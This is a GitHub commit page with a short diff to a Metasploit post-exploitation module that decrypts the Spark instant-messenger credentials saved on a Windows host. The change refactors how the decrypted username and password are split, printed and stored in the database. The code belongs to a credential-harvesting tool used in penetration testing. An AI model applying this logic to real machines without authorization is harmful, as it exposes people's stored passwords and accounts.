Skip to content

Commit d3d595d

Browse files
committed
Merge branch 'spark_im.rb' of git://github.com/zeknox/metasploit-framework into zeknox-spark_im.rb
2 parents eb42419 + 6e520e7 commit d3d595d

File tree

1 file changed

+6
-6
lines changed

1 file changed

+6
-6
lines changed

modules/post/windows/gather/credentials/spark_im.rb

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -54,21 +54,21 @@ def decrypt(hash)
5454

5555
password = ::Rex::Text.to_utf8(password)
5656

57-
credentials = password.split("\u0001")
58-
print_good("Decrypted Username #{credentials[0]} Password: #{credentials[1]}")
57+
user, pass = password.scan(/[[:print:]]+/)
58+
print_good("Decrypted Username #{user} Password: #{pass}")
5959

60-
store_creds(credentials)
60+
store_creds(user, pass)
6161
end
6262

63-
def store_creds(credentials)
63+
def store_creds(user, pass)
6464
if db
6565
report_auth_info(
6666
:host => client.sock.peerhost,
6767
:port => 5222,
6868
:ptype => 'password',
6969
:sname => 'spark',
70-
:user => credentials[0],
71-
:pass => credentials[1],
70+
:user => user,
71+
:pass => pass,
7272
:duplicate_ok => true,
7373
:active => true
7474
)

0 commit comments

Comments
 (0)